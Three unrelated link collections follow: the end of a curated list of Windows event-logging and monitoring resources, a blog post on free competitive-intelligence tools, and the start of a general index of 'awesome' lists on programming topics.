- [Module Logging](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_group_policy_settings?view=powershell-7.1#turn-on-module-logging)
- [Malware Archeology PowerShell Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-Sept-2018-v22.pdf)
- [Greater Visibility Through PowerShell Logging](https://www.mandiant.com/resources/greater-visibilityt)
- [PowerShell Logging for the Blue Team](https://www.blackhillsinfosec.com/powershell-logging-blue-team/)
- Security Auditing
- [Command line Process Auditing](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing#configuration) - Enable 4688 featuring command line.
- [Events to Monitor](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) - Official resource.
- [Monitoring Guidance](https://github.com/JSCU-NL/logging-essentials) - Event monitoring guidance from JSCU (Joint SIGINT Cyber Unit) from Netherlands. With volume estimates, and WEC/WEF configurations.
- [Malware Archeology Windows Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-Logging-Cheat-Sheet_ver_Feb_2019.pdf)
- [Malware Archeology Advanced Windows Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-Advanced-Logging-Cheat-Sheet_ver_Feb_2019_v12.pdf)
- [Malware Archeology Splunk Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-Splunk-Logging-Cheat-Sheet-v222.pdf) - about specific exclusions to avoid getting noise from the Splunk Universal Forwarder agent.
- [Malware Archeology File Auditing Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-File-Auditing-Cheat-Sheet-ver-Nov-2017-3fwr.pdf)
- [Malware Archeology Registry Auditing Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-Registry-Auditing-Cheat-Sheet-ver-Aug-2019.pdf)
- [Malware Archeology ATT&CK Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-ATTCK_Logging-Cheat-Sheet_ver_Sept_2018.pdf) - From 2018.
- [US NSA Spotting the Adversary with Windows Event Log Monitoring](https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/applications/assets/public/upload/Spotting-the-Adversary-with-Windows-Event-Log-Monitoring.pdf) - Covers quite a lot of ground.
- [US NSA Event Forwarding Guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) - Companion repository with WEF configurations, scripts to configure WEF, and WEB subscriptions in XML format.
- [UK NCSC - Logging Made Easy WEC (Windows Event Collection) Configuration File](https://github.com/ukncsc/lme/blob/master/Chapter%201%20Files/lme_wec_config.xml)
- [Windows Security Monitoring - Policy & Event IDs](https://docs.google.com/spreadsheets/d/1BhR3cymZ53ZJfJdKAGKszuB-jgsr8GBJBOCJl50WGKE/edit?usp=sharing) - Spreadsheet with recommendations sorted by system functions.
- [EventID Policy Map](https://docs.google.com/spreadsheets/d/16WuMNL5WWjE4YJIKrt1ut3fZWTbPPKnAGBjGilLrzBE/edit#gid=1714197816) - Spreadsheet with policy map as well as reference collection.
- [Windows security event log library](https://www.manageengine.com/products/active-directory-audit/kb/windows-event-log-id-list.html) - Small database with explanations and monitoring suggestions.
- Sysmon
- [Configuration by SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) - Configuration file template with default high-quality event tracing.
- [Fork of SwiftOnSecurity by Neo23x0 Florian ROTH](https://github.com/Neo23x0/sysmon-config) - Same as above, with all PR.
- [Configuration by olafhartong](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules.
- [Malware Archeology Sysmon Logging Cheat Sheet](https://www.malwarearchaeology.com/s/Windows-Sysmon-Logging-Cheat-Sheet_Jan_2020-g7sl.pdf)
- [Sysmon Community Guide](https://github.com/trustedsec/SysmonCommunityGuide)
### Event ID analysis
- General
- [EVTX Attack Samples](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - EVTX samples recorded during attack simulations by sbousseaden.
- [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/#) - Logs analyzed after tool execution by JPCERT.
- [EvtxECmd Map Repository](https://github.com/EricZimmerman/evtx/tree/master/evtx/Maps) - Maps used by Eric Zimmerman's EvtxECmd which provide examples of Event IDs with documentation, lookup tables, and important values within each respective event ID which are parsed by EvtxECmd using the associated Map.
- [Event Log Observer](https://lizard-labs.com/event_log_observer.aspx) - View, analyze and monitor events recorded in Microsoft Windows event logs.
- PowerShell
- [Attack and Defense Around PowerShell Event Logging](https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/) - PowerShell logging deep dive from different perspectives by Mina Hao.
- RDP
- [RDP Logon / Logoff events 1](https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/) - RDP event chain by Jonathon Poling.
- [RDP Logon / Logoff events 2](https://dfironthemountain.wordpress.com/2019/02/15/rdp-event-log-dfir/) - RDP deep dive on 1149 by Mike Cary.
- Task Scheduler
- [Common Task Scheduler Event IDs](https://www.cyprich.com/blog/2017/03/29/common-task-scheduler-event-ids/) - List of the most common Event IDs for Windows Scheduled Tasks by djc.
## Contributing
This repo is dedicated to everything that has an event ID and the knowledge about it.
Please ask yourself before submitting a PR if it really fits to this.
In particular, please do not contribute tools, as these are already comprehensively summarized in the following great repositories.
- [awesome-incident-response](https://github.com/meirwah/awesome-incident-response)
- [awesome-forensics](https://github.com/cugu/awesome-forensics)
- [awesome-forensicstools](https://github.com/ivbeg/awesome-forensicstools)
- [awesome-security](https://github.com/sbilly/awesome-security)
|
<h1>🔎 40+ open source intelligence tools for various internet investigations</h1>
<p>Rather than go into how you do online competitive intelligence, I’m just going to run through a free list of tools that have earned themselves and honorable mention here and give you some awesome tidbits for finding information online.</p>
<p>I review competitive information on a daily basis; I have to warn you that its a lot of information.</p>
<p>Don’t be afraid of simply sitting down and playing with one or two tools a week and seeing what you come up with. The real magic begins to happen when you start discovering that one tool provides the secret ingredient to turbo-charge the next tool.</p>
<h2>Every tool on this list is free 🌟<span id="more-8903"></span></h2>
<p>(some of them may have premium paid upgrades, but they aren’t necessarily required.)</p>
<p>If you would like to find out about the how and why behind using these tools, check out my <a title="competitive intelligence" href="http://barryhurd.com/tag/competitive-intelligence/">competitive intelligence</a> posts.</p>
<h3><strong>Google Tools</strong></h3>
<p>You can’t beat Google when it comes to free information and tons of data. The biggest issue with using Google effectively is understanding how to sift through massive volumes of data to find actionable nuggets of wisdom. To help you do that I’ve include two link to a advanced search parameter cheat sheet and a walk-through of using advanced parameters. If you have a few minutes, you can also watch this official <a href="http://www.google.com/insidesearch/landing/powersearching.html">Google training video on advanced search parameters</a>.</p>
<p><strong>Google Cheat Sheet – Advanced Operators <a href="http://www.googleguide.com/advanced_operators_reference.html">http://www.googleguide.com/advanced_operators_reference.html</a></strong></p>
<p><strong>Using Advanced Search Parameters on Google<br /><a href="http://www.googleguide.com/using_advanced_operators.html">http://www.googleguide.com/using_advanced_operators.html</a></strong></p>
<h3>The actual Google Tools…</h3>
<p><strong>Google News<br /></strong><a href="http://news.google.com/nwshp">http://news.google.com/nwshp</a><strong><br /></strong>This is probably one of the easiest tools to keep track of your industry, your competitors, and your prospects/clients. When you are signed into Google you have the option of personalizing the news topics and the sources they draw from (In my personal use I have it set to review <a href="http://techcrunch.com/">TechCrunch</a>, <a href="http://mashable.com/">Mashable</a>, <a href="http://geekwire.com/">GeekWire</a>, <a href="http://venturebeat.com/">Venturebeat</a>, etc to cover the start-up/tech scene.)<a href="http://www.google.com/trends/hottrends"><br /></a><br /><strong>Custom Google Search Engine</strong><br /><a href="http://www.google.com/cse/">www.<strong>google</strong>.com/cse/<br /></a>This is another awesome tool from Google. It allows you to control the sites Google uses for search results. If you have a list of 100 competitive sites you can use it to search them all for investor reports, instructional guides, quarterly results, client lists, etc. <a href="http://www.google.com/cse/"><br /></a></p>
<p><strong>Google Trends</strong> <a class="alignright" href="http://www.google.com/trends/?q=obama,romney&ctab=0&geo=us&geor=all&date=ytd&sort=0">
<img class="float size-medium wp-image-8921" title="competitive-intelligence-google-trends" src="http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-google-trends-300x147.jpg" sizes="(max-width: 300px) 100vw, 300px" srcset="http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-google-trends-300x147.jpg 300w, http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-google-trends.jpg 592w" alt="" width="300" height="147" /></a><br/><a href="http://www.google.com/trends/">www.<strong>google</strong>.com/<strong>trends</strong>/</a><br />A great tool for understanding how keyword volume has changed over time. The chart to the right shows a review of Obama vs. Romney for the past twelve months and provides me with the ability to look at noteworthy news stories, drill down to local regions, or explore associated Google results.</p>
<p><a class="alignright" href="http://www.google.com/trends/?q=bestbuy.com&ctab=0&geo=us&geor=all&date=all&sort=0">
<img class="size-medium wp-image-8922 float" title="competitive-intelligence-bestbuy" src="http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-bestbuy-300x97.jpg" sizes="(max-width: 300px) 100vw, 300px" srcset="http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-bestbuy-300x97.jpg 300w, http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-bestbuy.jpg 581w" alt="" width="300" height="97"/></a><strong>Google Trends for Websites</strong><br /><a href="http://trends.google.com/websites"><cite><strong>trends</strong>.<strong>google</strong>.com/<strong>websites</strong></cite></a><br />Provides slightly different information when you enter a web domain (.com, .net, etc)<br />This information details demand generation over time. A quick look at BestBuy.com shows us the buying patterns around holiday spikes for the past five years, the top ten states driving that demand, and the top cities within those states.</p>
<p><strong>Google Insights</strong><br /><a href="http://www.google.com/insights/search/">http://www.google.com/insights/search/</a><br />Google Insights is<strong> one of my favorite</strong> ‘go to’ tools: it allows me to narrow data to specific categories, like finance, health, and tech. It shows me search volume distributed across regions and cities.</p>
<h3><strong>Social Media Tools 🏅</strong></h3>
<p><strong>Addictomatic.com<br /></strong><a href="http://addictomatic.com/">http://addictomatic.com/</a><strong><br /></strong>Is a highly useful social search site that presents a ‘widget’ for each site it finds related information on. These widgets can be sorted, added/deleted, and bookmarked or shared with coworkers.<strong><br /></strong></p>
<p><strong>SocialMention.com<br /></strong><a href="http://socialmention.com/">http://socialmention.com/</a><br />Has a variety of advanced selection tools to sort blogs, video, microblogs, comments, and more. Results provide multiple breakdowns such as top users, frequency, and popular keywords/tags<strong><br /></strong></p>
<p><strong>Monitter.com</strong><br /><a href="http://monitter.com/">http://monitter.com/</a><br />Provides a ‘tweetdeck’ like interface to search Twitter topics quickly. In my daily use I often plug 5-10 topics into the tool and simply let it run on one of my secondary monitors so that I can contemplate trends through-0ut the day.</p>
<p><strong>FeedCompare</strong><br /><a href="http://www.feedcompare.com/">http://www.feedcompare.com/</a><br />Allows you to examine RSS subscribers on popular sites, a metric that can be very useful for determine where different audiences are coming from and if there are unusual trends that can be associated to marketing and awareness campaigns.</p>
<h3><strong>Site Based Tools ⚛️</strong></h3>
<p><img class="alignright size-full wp-image-8933" title="competitive-intelligence-demographics" src="http://2sjod62ikfzz7vzn2w89be15.wpengine.netdna-cdn.com/wp-content/uploads/2012/08/competitive-intelligence-demographics.jpg" alt="" width="266" height="210" /></p>
<p><strong>Quantcast.com</strong><br /><a href="http://www.quantcast.com/">http://www.quantcast.com/<br /></a>Provides a wealth of information about sites on the web: demographics, traffic trends, related websites, and topic affinity.If you examine your top ten competitors using this tool, you can often find a few related properties for press announcements and influencer campaigns.</p>
<p><strong>XINU Returns</strong><br /><a href="http://tools.seobook.com/xinu/?lang=uk">http://tools.seobook.com/xinu/<br /></a>An old but still useful web script that reports on 100+ data points that include Pagerank, backlinks, social shares, code validation, and various technical details.</p>
<p><strong>Quarkbase</strong><br /><a href="http://www.quarkbase.com/">http://www.quarkbase.com/</a><br />Provides a range of statistics regarding a web domain, including key people (according to Lead411), Alexa and Compete Rank, similar sites, and socially popular sites.</p>
<p><strong>Alexa</strong><br /><a href="http://www.alexa.com/">http://www.alexa.com/<br /></a>Alexa is a provider of free, global web metrics: discover the most successful sites on the web by keyword,category, or country.</p>
<p><span style="font-size: 12pt;"><strong>SEO Based Tools 👓</strong></span></p>
<p><strong>SEObook Competitive Research Tool</strong><br /><a href="http://tools.seobook.com/competitive-research-tools/">http://tools.seobook.com/competitive-research-tools/</a><br />While there are dozens of paid SEO tools, SEObook has <a href="http://tools.seobook.com/#freew">multiple free tools</a> that include <a href="http://tools.seobook.com/keyword-tools/seobook/">Keyword Suggestion</a> and <a href="http://tools.seobook.com/general/spider-test/">Spider Test</a>s, along with three different Firefox plugins</p>
<ul>
<li><a href="http://tools.seobook.com/firefox/rank-checker/">Rank Checker</a>– check a domain for ranking on dozens of keywords (good for your site or competitor sites.)</li>
<li><a href="http://tools.seobook.com/seo-toolbar/">SEOtoolbar</a> – get 10+ metrics at your fingertips, along with access to more tools.</li>
<li type="_moz"><a href="http://tools.seobook.com/firefox/seo-for-firefox.html">SEO for Firefox</a> – provides metrics directly inside your Google search results (no other steps needed.</li>
</ul>
<h3>Web Tools 🖥️</h3>
<p><strong>ChangeDetect</strong><br /><a href="http://www.changedetect.com/">http://www.changedetect.com/</a><br />A service that alerts you to any changes on a specific web domain. It allows you to note things like product updates, team changes, or public announcements on auto pilot.</p>
<p><strong>WayBack Machine</strong><br /><a href="http://archive.org/web/web.php">http://archive.org/web/web.php</a><br />Keeps track of web site changes over time. This is a critical item for understanding how competitors have changed branding and positioning.<br />Ever want to see what BestBuy.com looked like on Dec 25th of 1996?</p>
<h3><strong>Favorite Plugins 🤓</strong></h3>
<p>Here are a few plugins I use on a daily basis. Some of them have versions for other browsers if you are an IE, Chrome, or Safari person.<strong><br /></strong></p>
<p><strong>Search Sidebar by Webmynd</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/the-search-sidebar-by-webmynd/">https://addons.mozilla.org/En-us/firefox/addon/the-search-sidebar-by-webmynd/</a><br />Provides a sidebar on your search results page that includes additional results from Facebook, Twitter, Linkedin, Wikipedia, and many more content sites.</p>
<p><strong>Search Engine Tags</strong><br /><a href="https://addons.mozilla.org/en-US/firefox/addon/SearchEngineTags/">https://addons.mozilla.org/en-US/firefox/addon/SearchEngineTags/</a><br />This allows you to search for information using an additional layer of meta data that you normally don’t see. It provides access to site and topic specific results based on using tags in your searches (it requires a little practice to learn, but provides some highly useful results.)</p>
<p><strong>Autopager</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/autopager/">https://addons.mozilla.org/En-us/firefox/addon/autopager/</a><br />Allows you to automatically load results from the next page… and the next (into infinity.) When using sites like Google you can see 10 to 10,000 results to search for specific items hidden well beyond page one of the results.</p>
<p><strong>Fireshot</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/fireshot/">https://addons.mozilla.org/En-us/firefox/addon/fireshot/</a><br />Allows you to take screenshots and has dozens of very useful features.When used for competitive intelligence it allows you to quickly gather visual records and note them.</p>
<p><strong>Firebug</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/firebug/">https://addons.mozilla.org/En-us/firefox/addon/firebug/</a><br />A development tool that allows you to see the code structure for any web page. Very useful for finding software vendors who provide different platform capabilities to your competitors.</p>
<p><strong>Scrapbook</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/scrapbook/?src=search">https://addons.mozilla.org/En-us/firefox/addon/scrapbook/</a><br />Add visual bookmarks into a catalog that can be tagged and categorized. Competitive Intelligence professionals can quickly sort reference sites and create visual archives for team collaboration.</p>
<p><strong>List Open URLs</strong><br /><a href="https://addons.mozilla.org/En-us/firefox/addon/list-open-urls/?src=search">https://addons.mozilla.org/En-us/firefox/addon/list-open-urls/</a><br />When you have multiple tabs open on your browser this saves all the URLs to a text file. Very useful for opening 5 to 25 tabs on a research project and documenting the list of source sites for later reference.</p>
<h3><strong>HR Related Tools 📞</strong></h3>
<p><strong>LinkedIn</strong><br /><a href="http://linkedin.com/">http://linkedin.com</a><br />If you don’t use Linkedin for competitive and market intelligence you are really missing something. Linkedin provides all sorts of data about employees, relationships, company data, new hires, people that left, press releases, org charts, open positions, and more…</p>
<p><strong>Glassdoor</strong><br /><a href="http://glassdoor.com/">http://glassdoor.com</a><br />Past employees share a treasure trove about the marketplace you deal with. As a standard competitive intelligence sweep I usually recommend checking the top five to ten competitors, top client/prospects, and your vendors.</p>
<h3><strong>DATA Sources 📈</strong></h3>
<p><strong>Copernic</strong><br /><a href="http://www.copernic.com/en/products/agent/personal.html">http://www.copernic.com/en/products/agent/personal.html</a><br />Copernix is a piece of software that accesses multiple search engines using one interface. It aggregates the information, provides multiple filter options, saves search records, highlights keywords, and allows import/export of the results.</p>
<p><strong>Yahoo Pipes</strong><br /><a href="http://pipes.yahoo.com/pipes/">http://pipes.yahoo.com/pipes/<br /></a>This isn’t really a data source, but a web based tool that allows you to aggregate, mash-up, and syndicate other sources of data. It is incredibly useful as a tool to build ‘minimum viable models’ for web research (but does have a learning curve.)</p>
<p><strong>GNIP</strong><br /><a href="http://gnip.com/">http://gnip.com</a><br />Gnip provides data from dozens of top social sites ranging from Facebook and Twitter to Youtube and Vimeo. By using a single API it allows you to access thousands of data fields that can be extracted for all sorts of competitive intelligence on businesses, community audiences, and specific people.</p>
<p><strong>DataSift</strong><br /><a href="http://datasift.com/">http://datasift.com</a><br />Is another social media data provider. They have a tremendous amount of information available (some overlap with Gnip, some is unique.) It is one of the few social media data providers that can provide full access to the Twitter firehose.</p>
<p><strong>Spinn3r</strong><br /><a href="http://spinn3r.com/">http://spinn3r.com</a><br />Yet another social media data company, but with focus on real-time indexing of the blogosphere or content that you specifically want. Very useful for processing large amounts of social content found on niche community sites that don’t make it onto Gnip or Datasift’s lists.</p>
<h3><strong>Visualization Tools 📊</strong></h3>
<p><strong>Tabelau</strong><br /><a href="http://www.tableausoftware.com/">http://www.tableausoftware.com</a>/<br />Provides an incredibly useful ‘community edition’ visualization tool on the web that allows you to sort and sift data using a variety of tools.</p>
<p><strong>Pentaho</strong><br /><a href="http://www.pentaho.com/">http://www.pentaho.com/</a><br />Business analytics tool for playing with numbers. Open source version is limited, but has some great tools for the price (FREE!)</p>
<p><strong>Splunk Free</strong><br /><a href="http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W">http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W<br /></a>Variety of indexing, search, and reporting tools built into a dashboarding tool with apps and developer APIs.</p>
<p><strong>Google Charts</strong><br /><a href="https://developers.google.com/chart/">https://developers.google.com/chart/</a><br />Google Charts is a go-to resource for free charting capabilities. You can serve up all sorts of data into it, embed them, and even use spreadsheets from Google docs.</p>
|
<h1 align="center">
<br>
<img width="400" src="https://cdn.rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome">
<br>
<br>
<br>
</h1>
> A curated list of awesome lists
- [What is an awesome list?](awesome.md)
- [Contribution guide](contributing.md)
- [Creating a list](create-list.md)
- [Buy a sticker](https://www.stickermule.com/marketplace/10034-awesome)
[](https://gitter.im/sindresorhus/awesome)
-
Check out my [blog](https://blog.sindresorhus.com) and follow me on [Twitter](https://twitter.com/sindresorhus).
## Table of Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-end Development](#front-end-development)
- [Back-end Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management System](#content-management-system)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs)
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks)
- [iOS](https://github.com/vsouza/awesome-ios)
- [Android](https://github.com/JStumpp/awesome-android)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid)
- [Electron](https://github.com/sindresorhus/awesome-electron)
- [Cordova](https://github.com/busterc/awesome-cordova)
- [React Native](https://github.com/jondot/awesome-react-native)
- [Xamarin](https://github.com/benoitjadinon/awesome-xamarin)
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers)
- [OS X](https://github.com/iCHAIT/awesome-osx)
- [Command-Line](https://github.com/herrbischoff/awesome-osx-command-line)
- [Screensavers](https://github.com/aharris88/awesome-osx-screensavers)
- [watchOS](https://github.com/yenchenlin1994/awesome-watchos)
- [JVM](https://github.com/deephacks/awesome-jvm)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws)
- [Windows](https://github.com/RiseLedger/awesome-windows)
- [IPFS](https://github.com/ipfs/awesome-ipfs)
- [Fuse](https://github.com/vinkla/awesome-fuse)
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript)
- [Promises](https://github.com/wbinnssmith/awesome-promises)
- [Standard Style](https://github.com/feross/awesome-standard)
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch)
- [Tips](https://github.com/loverajoel/jstips)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js)
- [Swift](https://github.com/matteocrippa/awesome-swift)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds)
- [Python](https://github.com/vinta/awesome-python)
- [Rust](https://github.com/kud1ing/awesome-rust)
- [Haskell](https://github.com/krispo/awesome-haskell)
- [PureScript](https://github.com/passy/awesome-purescript)
- [Go](https://github.com/avelino/awesome-go)
- [Scala](https://github.com/lauris/awesome-scala)
- [Ruby](https://github.com/markets/awesome-ruby)
- [Ruby Events](https://github.com/planetruby/awesome-events) *(Conferences, Meetups, etc.)*
- [Clojure](https://github.com/razum2um/awesome-clojure)
- [ClojureScript](https://github.com/emrehan/awesome-clojurescript)
- [Elixir](https://github.com/h4cc/awesome-elixir)
- [Elm](https://github.com/isRuslan/awesome-elm)
- [Erlang](https://github.com/drobakowski/awesome-erlang)
- [Julia](https://github.com/svaksha/Julia.jl)
- [Lua](https://github.com/LewisJEllis/awesome-lua)
- [C](https://github.com/aleksandar-todorovic/awesome-c)
- [C/C++](https://github.com/fffaraz/awesome-cpp)
- [R](https://github.com/qinwf/awesome-R)
- [D](https://github.com/zhaopuming/awesome-d)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl)
- [Perl](https://github.com/hachiojipm/awesome-perl)
- [Groovy](https://github.com/kdabir/awesome-groovy)
- [Dart](https://github.com/yissachar/awesome-dart)
- [Java](https://github.com/akullpp/awesome-java)
- [Kotlin](https://github.com/JavaBy/awesome-kotlin)
- [OCaml](https://github.com/rizo/awesome-ocaml)
- [Coldfusion](https://github.com/seancoyne/awesome-coldfusion)
- [Fortran](https://github.com/rabbiabram/awesome-fortran)
- [.NET](https://github.com/quozd/awesome-dotnet)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi)
- [Assembler](https://github.com/mat0thew/awesome-asm)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt)
- [Crystal](https://github.com/veelenga/awesome-crystal)
- [TypeScript](https://github.com/dzharii/awesome-typescript)
## Front-end Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Web Tools](https://github.com/lvwzhen/tools)
- [CSS](https://github.com/sotayamashita/awesome-css)
- [Critical-Path (Above-the-fold) Tools](https://github.com/addyosmani/critical-path-css-tools)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css)
- [React](https://github.com/enaqx/awesome-react)
- [Relay](https://github.com/expede/awesome-relay)
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way)
- [Polymer](https://github.com/Granze/awesome-polymer)
- [Angular 2](https://github.com/AngularClass/awesome-angular2)
- [Angular](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/sadcitizen/awesome-backbone)
- [HTML5](https://github.com/diegocard/awesome-html5)
- [SVG](https://github.com/willianjusten/awesome-svg)
- [Canvas](https://github.com/raphamorim/awesome-canvas)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout)
- [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo)
- [Inspiration](https://github.com/NoahBuscher/Inspire)
- [Ember](https://github.com/nmec/awesome-ember)
- [Android UI](https://github.com/wasabeef/awesome-android-ui)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui)
- [Meteor](https://github.com/Urigo/awesome-meteor)
- [BEM](https://github.com/sturobson/BEM-resources)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox)
- [Web Typography](https://github.com/deanhume/typography)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y)
- [Material Design](https://github.com/sachin1092/awesome-material)
- [D3](https://github.com/wbkd/awesome-d3)
- [Emails](https://github.com/jonathandion/awesome-emails)
- [jQuery](https://github.com/peterkokot/awesome-jquery)
- [Web Audio](https://github.com/notthetup/awesome-webaudio)
- [Offline-First](https://github.com/pazguille/offline-first)
- [Static Website Services](https://github.com/aharris88/awesome-static-website-services)
- [A-Frame VR](https://github.com/aframevr/awesome-aframe) *(Virtual reality)*
- [Cycle.js](https://github.com/vic/awesome-cyclejs)
- [Text Editing](https://github.com/dok/awesome-text-editing)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design)
- [Vue.js](https://github.com/vuejs/awesome-vue)
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette)
- [Aurelia](https://github.com/behzad888/awesome-aurelia)
## Back-end Development
- [Django](https://github.com/rosarior/awesome-django)
- [Flask](https://github.com/humiaozuzu/awesome-flask)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant)
- [Pyramid](https://github.com/uralbash/awesome-pyramid)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp)
- [Symfony](https://github.com/sitepoint/awesome-symfony)
- [Laravel](https://github.com/chiraggude/awesome-laravel)
- [Education](https://github.com/fukuball/Awesome-Laravel-Education/blob/master/langs/en_US.md)
- [Rails](https://github.com/ekremkaraca/awesome-rails)
- [Gems](https://github.com/hothero/awesome-rails-gem)
- [Phalcon](https://github.com/sergeyklay/awesome-phalcon)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess)
- [nginx](https://github.com/fcambus/nginx-resources)
- [Dropwizard](https://github.com/stve/awesome-dropwizard)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes)
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses)
- [Data Science](https://github.com/okulbilisim/awesome-datascience)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials)
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics)
- [Cryptography](https://github.com/MaciejCzyzewski/retter)
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)*
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision)
- [Open Source Society University](https://github.com/open-source-society/computer-science)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming)
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis)
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn)
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata)
- [Public Datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop)
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering)
- [Streaming](https://github.com/manuzhang/awesome-streaming)
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks)
- [Algorithms](https://github.com/tayllan/awesome-algorithms)
- [Algorithm Visualizations](https://github.com/enjalot/algovis)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
- [Competitive Coding](https://github.com/hkirat/awesome-competitive-coding)
- [Math](https://github.com/rossant/awesome-math)
## Books
- [Free Programming Books](https://github.com/vhf/free-programming-books)
- [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md)
- [Go Books](https://github.com/dariubs/GoBooks)
- [R Books](https://github.com/RomanTsegelskyi/rbooks)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks)
- [Vim](https://github.com/mhinz/vim-galore)
- [Emacs](https://github.com/emacs-tw/awesome-emacs)
- [Atom](https://github.com/mehcode/awesome-atom)
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode)
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools)
- [Game Talks](https://github.com/hzoo/awesome-gametalks)
- [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)*
- [Open Source Games](https://github.com/leereilly/games)
